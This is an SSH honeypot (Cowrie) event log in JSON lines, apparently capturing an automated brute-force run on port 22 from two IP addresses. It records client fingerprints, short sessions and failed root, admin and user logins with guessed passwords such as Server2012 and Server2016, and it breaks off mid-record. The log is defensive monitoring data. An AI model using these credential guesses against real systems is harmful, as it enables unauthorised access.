{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:16.303191Z","src_ip":"103.114.153.158","session":"a2a40bb07b24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Qwerty1","message":"login attempt [user2/Qwerty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:17.116376Z","src_ip":"103.114.153.158","session":"a2a40bb07b24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:17.596900Z","src_ip":"103.114.153.158","session":"a2a40bb07b24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":48972,"dst_ip":"10.17.0.5","dst_port":22,"session":"d16ca1c4668c","protocol":"ssh","message":"New connection: 103.114.153.158:48972 (10.17.0.5:22) [session: d16ca1c4668c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:17.794268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:17.799774Z","src_ip":"103.114.153.158","session":"d16ca1c4668c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:17.993378Z","src_ip":"103.114.153.158","session":"d16ca1c4668c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.160.86.7","src_port":41344,"dst_ip":"10.17.0.5","dst_port":22,"session":"68347b191b0a","protocol":"ssh","message":"New connection: 20.160.86.7:41344 (10.17.0.5:22) [session: 68347b191b0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:18.486952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:18.491872Z","src_ip":"20.160.86.7","session":"68347b191b0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:18.573408Z","src_ip":"20.160.86.7","session":"68347b191b0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2012","message":"login attempt [root/Server2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:18.795785Z","src_ip":"103.114.153.158","session":"d16ca1c4668c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zz123456..","message":"login attempt [root/Zz123456..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:18.950259Z","src_ip":"20.160.86.7","session":"68347b191b0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:19.276448Z","src_ip":"103.114.153.158","session":"d16ca1c4668c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":48980,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cb6100cb45b","protocol":"ssh","message":"New connection: 103.114.153.158:48980 (10.17.0.5:22) [session: 4cb6100cb45b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:19.481108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:19.486355Z","src_ip":"103.114.153.158","session":"4cb6100cb45b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:19.680592Z","src_ip":"103.114.153.158","session":"4cb6100cb45b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:20.041802Z","src_ip":"20.160.86.7","session":"68347b191b0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server2012","message":"login attempt [admin/Server2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:20.490080Z","src_ip":"103.114.153.158","session":"4cb6100cb45b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:20.971524Z","src_ip":"103.114.153.158","session":"4cb6100cb45b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":50864,"dst_ip":"10.17.0.5","dst_port":22,"session":"d39954ff8e67","protocol":"ssh","message":"New connection: 103.114.153.158:50864 (10.17.0.5:22) [session: d39954ff8e67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:21.178011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:21.181976Z","src_ip":"103.114.153.158","session":"d39954ff8e67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:21.378261Z","src_ip":"103.114.153.158","session":"d39954ff8e67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server2012","message":"login attempt [user/Server2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:22.198133Z","src_ip":"103.114.153.158","session":"d39954ff8e67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:22.681255Z","src_ip":"103.114.153.158","session":"d39954ff8e67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":50868,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f4f69a90b31","protocol":"ssh","message":"New connection: 103.114.153.158:50868 (10.17.0.5:22) [session: 4f4f69a90b31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:22.866937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:22.873001Z","src_ip":"103.114.153.158","session":"4f4f69a90b31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:23.063321Z","src_ip":"103.114.153.158","session":"4f4f69a90b31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server2012","message":"login attempt [user2/Server2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:23.853162Z","src_ip":"103.114.153.158","session":"4f4f69a90b31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:24.333667Z","src_ip":"103.114.153.158","session":"4f4f69a90b31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":50874,"dst_ip":"10.17.0.5","dst_port":22,"session":"47222a5b322c","protocol":"ssh","message":"New connection: 103.114.153.158:50874 (10.17.0.5:22) [session: 47222a5b322c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:24.538198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:24.542684Z","src_ip":"103.114.153.158","session":"47222a5b322c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:24.737387Z","src_ip":"103.114.153.158","session":"47222a5b322c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2016","message":"login attempt [root/Server2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:25.535947Z","src_ip":"103.114.153.158","session":"47222a5b322c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:26.017163Z","src_ip":"103.114.153.158","session":"47222a5b322c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":50878,"dst_ip":"10.17.0.5","dst_port":22,"session":"ade79afdfbff","protocol":"ssh","message":"New connection: 103.114.153.158:50878 (10.17.0.5:22) [session: ade79afdfbff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:26.239782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:26.244451Z","src_ip":"103.114.153.158","session":"ade79afdfbff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:26.453144Z","src_ip":"103.114.153.158","session":"ade79afdfbff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server2016","message":"login attempt [admin/Server2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:27.322916Z","src_ip":"103.114.153.158","session":"ade79afdfbff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:27.803825Z","src_ip":"103.114.153.158","session":"ade79afdfbff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":50892,"dst_ip":"10.17.0.5","dst_port":22,"session":"b656892f1cf2","protocol":"ssh","message":"New connection: 103.114.153.158:50892 (10.17.0.5:22) [session: b656892f1cf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:27.987825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:27.991620Z","src_ip":"103.114.153.158","session":"b656892f1cf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:28.186615Z","src_ip":"103.114.153.158","session":"b656892f1cf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server2016","message":"login attempt [user/Server2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:28.987009Z","src_ip":"103.114.153.158","session":"b656892f1cf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:29.467547Z","src_ip":"103.114.153.158","session":"b656892f1cf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":50908,"dst_ip":"10.17.0.5","dst_port":22,"session":"5577c919ab3d","protocol":"ssh","message":"New connection: 103.114.153.158:50908 (10.17.0.5:22) [session: 5577c919ab3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:29.689267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:29.693885Z","src_ip":"103.114.153.158","session":"5577c919ab3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sh